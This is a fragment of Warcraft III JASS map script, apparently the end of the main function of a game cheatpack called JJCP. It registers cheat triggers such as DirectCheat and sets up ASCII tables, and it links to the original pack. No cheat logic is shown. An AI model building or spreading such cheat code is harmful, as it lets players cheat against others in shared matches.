TriggerAddAction(QIPIAN1[0],function CheatUseLeft) call TriggerAddAction(QIPIAN1[1],function CheatUseRight) call TriggerAddAction(QIPIAN1[2],function CheatUseUp) call TriggerAddAction(QIPIAN1[3],function CheatUseDown) call TriggerAddAction(QIPIAN2,function CheatUse) call TriggerAddCondition(QIPIAN3,Condition(function Cheatz0r)) call TriggerAddAction(QIPIAN3,function DirectCheat) call Deng_ASCII(48,"0123456789") call Deng_ASCII(97,"abcdefghijklmnopqrstuvwxyz") call Deng_ASCII(65,"ABCDEFGHIJKLMNOPQRSTUVWXYZ") call StringRaw2() endfunction
Function main code You can find the original version of JJCP and a bunch of others cheatpacks
here.